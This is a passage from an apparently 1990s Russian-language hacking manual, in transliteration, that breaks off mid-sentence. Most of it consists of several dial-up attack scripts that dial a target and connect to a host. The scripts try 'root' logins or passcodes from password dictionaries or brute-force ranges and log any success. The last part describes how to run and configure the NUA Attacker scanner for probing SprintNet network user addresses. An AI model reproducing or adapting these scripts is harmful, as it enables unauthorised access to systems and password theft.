EXECUTE(scavenge.exe /nooutput /s pickup.scr) IF S_TMP=UNDEFINE THEN SEND(AT H1) EXECUTE(scavenge.exe /nooutput /s thc&scav.scr) :111 SEND(ATD) SET D_TMP=0 :112 WAIT(1) INC(D_TMP) IF D_TMP>50 THEN GOTO(99) CHECK4CARRIER(112) SEND() ; poslat' vozvrat karetki posle soedineniya :1 WAIT(1) IF STRING2~assw THEN GOTO(2) GOTO(1) :2 SEND_NEXT_DIC(1) WAIT(2) IF STRING2~ncorr THEN GOTO(3) GOTO(50) :3 SET STRING2= :4 WAIT(1) IF STRING2~assw THEN GOTO(5) GOTO(4) :5 SEND_NEXT_DIC(1) WAIT(2) IF STRING2~ncorr THEN GOTO(6) GOTO(50) :6 SET STRING2= :7 WAIT(1) IF STRING2~assw THEN GOTO(8) GOTO(7) :8 SEND_NEXT_DIC(1) WAIT4STRING(10,,1,GOTO(50),ncorr) GOTO(99) :50 BEEP BEEP BEEP LOG(------------- -----------------)---- -------------------) LOG($DATE $TIME) LOG() LOG(PASSWORD: $DIC(1)) LOG() GOTO(150) :99 CHECK4CARRIER(OFF) IF S_TMP=UNDEFINE THEN GOTO(#START) EXECUTE(scavenge.exe /s rebreak.scr) ; sozdanie skripta dlya perenabora nomera i dozvona do celi GOTO(111) :150 IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr) GOTO(#END) #END Pervyj primer skripta Sistemnyj deskriptor: UNIX na F. No vy nikogda ne dolzhny eto delat'. #DEFINE LOGFILE=C:\OUTPUT\NY-SYS5.LOG PHONE_NR=I dont tell you ;) DIAL_TRIES=3 LOGIN_TRIES=0 DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC #NOCARRIER BEEP BEEP BEEP LOG(NO CARRIER) LOG(ON $DATE $TIME) LOG(AT $DIC(1)) LOG() GOTO(#START) #START LOG(------------------------- -----)---- -------------------) LOG(TARGET : $PHONE_NR ON $DATE - $TIME) LOG() :1 LOG(Dialing ...) DIAL LOG($STRING) LOG_SESSION_ON SEND() SEND() WAIT4STRING(15,^M,4,GOTO(1),name) SEND( ) LOG_SESSION_OFF :2 SEND(CONNECT HACK.THIS.SYSTEM.EDU) :3 WAIT4STRING(30,^C,1,GOTO(2),ogin:) SEND(root) WAIT4STRING(20,^D,1,GOTO(2),assword:) SEND_NEXT_DIC(1) IF STRING~ogin: THEN GOTO(3) IF STRING~refused THEN GOTO(2) LOG() LOG($STRING) LOG() LOG(!!!!! WE GOT THROUGH !!!!!!) LOG(Login : root) LOG(Password : $DIC(1)) LOG() BEEP BEEP BEEP BEEP BEEP HANGUP GOTO(#END) #END Vtoroj primer skripta #DEFINE INIT_MODEM=AT&N15 INIT_DATA=7E1 LOGFILE=C:\OUTPUT\TELEKOM4.LOG PHONE_NR=I dont tell you ;) DIAL_TRIES=3 LOGIN_TRIES=0 BRUTE(1)=1,1,1,12 #NOCARRIER BEEP BEEP BEEP LOG(NO CARRIER) LOG(ON $DATE $TIME) LOG(AT $BRUTE(1)) LOG() GOTO(#START) #START LOG(-----------------------------------)---- ---------------) LOG(TARGET : $PHONE_NR ON $DATE - $TIME) LOG() :1 LOG(Dialing ...) HANGUP DIAL LOG($STRING) WAIT4STRING(15,^M,4,GOTO(1),PA) :2 SEND_NEXT_BRUTE(1) WAIT4STRING(3,^M,2,GOTO(3),PA) GOTO(2) :3 LOG_SESSION_ON SEND() SEND(?) SEND(HELP) SEND(HILFE) LOG() LOG(!!!!! WE GOT THROUGH !!!!!!) LOG(Password : $BRUTE(1)) LOG() BEEP BEEP BEEP BEEP BEEP HANGUP GOTO(#END) #END Tretij primer skripta |tot skript mozhet byt' ispol'zovan na nekotoryh nebesplatnyh telefonnyh liniyah 0130-xxxxxx. ; Sistema trebuet parol' ; Neogranichennoe kolichestvo popytok pozvolyaet vojti v sistemu ; ; 30xCrLf ; PASSCODE:***** ; #DEFINE INIT_MODEM=AT &F L2 INIT_DATA=8N1 LOGFILE=xxxxxx.LOG PHONE_NR=0130xxxxxx DIAL_TRIES=5 LOGIN_TRIES=0 DIC(1)=C:\2\thc-lh09\w1.w #NOCARRIER BEEP BEEP BEEP LOG(NO CARRIER) LOG(ON $DATE $TIME) LOG(AT $DIC(1)) LOG() GOTO(#START) #START LOG(------------------- ---------)---- -------------) LOG(TARGET : $PHONE_NR ON $DATE - $TIME) LOG() :1 LOG(Dialing ...) HANGUP DIAL LOG($STRING) WAIT4STRING(30,.^M,3,GOTO(1),PASS) :2 set string= SEND_NEXT_DIC(1) wait(1) LOG($DIC(1)) ; da, registrirovat'sya s kazhdoj popytki! WAIT4STRING(15,.^M,3,GOTO(3),PASS) GOTO(2) :3 LOG_SESSION_ON SEND() SEND(?) SEND(HELP) SEND() LOG() LOG(!!!!! WE GOT THROUGH !!!!!!) LOG(Password : $DIC(1)) LOG() BEEP BEEP BEEP BEEP BEEP HANGUP GOTO(#END) #END CHetvertyj primer skripta |to skript prednaznachen isklyuchitel'no dlya platform Telnet. #DEFINE init_modem=z init_data=8n1 LOGFILE=xxxxxx.log PHONE_NR=xxxxxx DIAL_TRIES=0 LOGIN_TRIES=0 DIC(1)=D:\hackusr\dictbig.txt ;dic(2)=d:\hackusr\bigdict2.txt ;dic(3)=d:\hackusr\bigdict3.txt #NOCARRIER LOG(NO CARRIER) LOG(ON $DATE $TIME) LOG(AT $DIC(1)) LOG(returning ...) GOTO(#START) #START HANGUP LOG_SESSION_ON LOG() log() log( HaCK ATTeMPT STaRTeD ......) log() log( TaRGeT: $PHONE_NR ) log( DaTe: $DATE ) log( TiMe: $TIME) log() log() log( ......DiaLiNG) dial log() log( ......CoNNeCTeD!) log() log() wait(5) :1 wait4string(1,^M,5,goto(#start),sername>) send(fh65) :2 wait4string(1,^M,5,goto(#start),ocal>) send(connect 189.25.56.7) :3 if string~sconnected then goto(2) if string~ncorrect then goto(3) wait4string(1,^C,5,goto(4),ogin:) send(root) if string~sconnected then goto(2) if string~ncorrect then goto(3) :4 if string~sconnected then goto(2) if string~ncorrect then goto(3) wait4string(1,^D,5,goto(4),assword:) send_next_dic(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) :5 if string~sconnected then goto(2) if string~ncorrect then goto(3) :6 wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) wait(1) if string~sconnected then goto(2) if string~ncorrect then goto(3) :7 beep beep beep beep beep beep beep beep beep log() log() log() Log(...... HaCK ATTeMPT WaS SuCCeSSFuLL!!!!!!!!!!!!!!) log() log( TaRGeT: $PHONE_NR DaTe: $DATE TiMe: $TIME) log() log() log() log( ACCouNT: root) log( PaSSWoRD: DIC(1)) log() log() log() #END Skanirovanie adresov pol'zovatelej Operacii po skanirovaniyu setevyh adresov my razberem na osnove ves'ma izvestnoj programmy Network User Address Attacker. |ta programma izvestnogo soobshchestva P/H/A. NUA Attacker napisan na Turbo C 2.0 hakerom Doktorom Dissektorom. Network User Address Attacker skaniruet klavishnuyu panel' SprintNet. Pri etom programma sposobna raspoznat' oshibki kodov na SprintNet i drugih tipah soedinenij. Kazhdyj otskanirovannyj setevoj adres mozhet zaregistrirovat'sya pod logfile s opisaniem vozvrashchennogo koda oshibki ili kratkoj summoj dannyh glavnoj sistemy. Takim obrazom, programma dozvanivaetsya do Net i skaniruet setevye adresa pol'zovatelej. Diapazon skanirovaniya zadaetsya atakuyushchim. Krome etogo, v prilagaemom k programme fajle SND390.TXT imeetsya spisok nekotoryh modemnyh telefonnyh nomerov. Vy mozhete, konechno, ispol'zovat' tol'ko izvestnyj vam nomer, to est' tot nomer, kotoryj naibolee blizko sootvetstvuet vashemu regionu. |ta programma mozhet byt' naibolee poleznoj pri poiske setej s kommutiruyushchimi paketami ili na osnove UNIX. Avtor etoj programmy nadeetsya, chto lyubye oshibki, najdennye v nej, budut peredany cherez soobshchestvo P/H/A hakeram Doktoru Dissektoru, Temnomu SHlemu, Korejcu Podavitelyu ili Anonimnomu Anarhistu. Fajly programmy NUAA.EXE Programma NUA Attacker. NUAA.DOC Dokumentaciya README.PHA Prochtite eto snachala! SND390.TXT Spisok telefonnyh nomerov Net. NUAA.CFG Otchet o tekushchej atake i konfiguracii modema. NUAFILE.PHA Spisok setevyh adresov pol'zovatelej. LOGFILE.PHA Spisok setevyh adresov pol'zovatelej, sostavlennyh atakuyushchim. V etom fajle takzhe soderzhatsya kody otveta NUA, poluchennye atakuyushchim. Fajly NUAfile i Logfile mogut modificirovat'sya. Fajly NUAFILE.PHA i LOGFILE.PHA -- eto obyknovennye tekstovye fajly, vy mozhete redaktirovat' ih v lyubom tekstovom redaktore. Krome togo, esli fajl uzhe sushchestvuet, to lyubye dannye dobavyatsya k tomu imeni fajla, kotorye sushchestvuyut v fajle s metkoj EOF. Zapusk programmy Dlya zapuska NUA Attacker vvedite s vashej konsoli sleduyushchee: C:\ >NUAA [/I] Parametr /I pozvolyaet vam nachat' vypolnenie programmy bez inicializacii modema pered skanirovaniem adresov. V etom sluchae, kogda vy vyberite komandu Begin attack (Nachat' napadenie), NUA Attacker srazu nachnet skanirovanie adresov (esli vy predvaritel'no zaregistrirovalis' v sisteme, to teper' vy snova dolzhny zaregistrirovat'sya na Net cherez priglashenie @). Nastrojka rezhima skanirovaniya Nastrojka skanirovaniya adresov osushchestvlyaetsya cherez komandu Setup attack. V poyavivshemsya dialogovom okne vypolnite nastrojku sleduyushchih opcij. Phone Number Telefonnyj nomer Net (SND390.TXT). Starting NUA Nachal'nyj setevoj adres pol'zovatelya. Ending NUA Konechnyj setevoj adres pol'zovatelya. Timeout Vremya ozhidaniya otveta ot setevogo adresa pol'zovatelya. Log filename Imya fajla, v kotoryj budut vyvoditsya soobshcheniya ob oshibkah i informaciya o neudachnyh popytkah soedineniya. NUA filename Imya fajla, v kotoryj budut vyvoditsya setevye adresa pol'zovatelej (p